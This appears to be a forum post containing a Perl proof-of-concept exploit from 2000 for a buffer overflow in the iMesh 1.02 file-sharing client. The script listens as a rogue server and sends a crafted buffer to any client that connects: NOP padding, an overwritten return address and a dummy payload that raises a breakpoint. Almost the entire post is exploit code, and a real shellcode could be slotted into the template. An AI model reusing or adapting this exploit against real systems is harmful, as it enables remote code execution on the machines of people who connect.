#!/usr/bin/perl 
# 
# iMesh 1.02 vulnerability 
# Chopsui-cide[MmM] 2000 
# http://midgets.box.sk/ 
# 
# ---------------------------------------------------------- 
# Disclaimer: this file is intended as proof of concept, and 
# is not intended to be used for illegal purposes. I accept 
# no responsibility for damage incurred by the use of it. 
# ---------------------------------------------------------- 
# 
# A buffer overflow exists in iMesh 1.02 that allows the execution 
# of arbitrary code. When the iMesh client connects to a server, 
# the server is able to exploit the vulnerability and execute 
# arbitrary code on the system the client is running on. 
# 

use IO::Socket; 

$localhost = "localhost"; 
$port = "5000"; 

# Dummy payload 
$payload = ""; 
$c = 0; 
while($c < 0x1aa) { 
$payload .= "\x90"; 
$c += 1; 
}; 
$payload .= "\xcc"; # raise exception 03h

$es = ""; 
$c = 0; 
while($c < 0x2723) { 
$es .= "\x90"; 
$c += 1; 
}; 
$es .= "\x43\x04\x43\x00"; 
$c = 0; 
while($c < 12) { 
$es .= "\x90"; 
$c += 1; 
}; 
$es .= $payload; 

#print "$es"; 

$lsock = IO::Socket::INET->new(Proto=>"tcp", LocalHost=>$localhost, Lo
+calPort=>$port, Listen=>1) || die "unable to create socket.\n"; 
print "waiting for connection on port $port..."; 
$accsock = $lsock->accept(); 
print "connected.\n"; 
print $accsock "$es"; 
sleep(5); 
close($accsock); 
close($lsock);

[download]

Edited by Petruchio Wed Aug 29 04:22:42 EDT 2001 - Added CODE tags.

In reply to imes bug by Anonymous Monk

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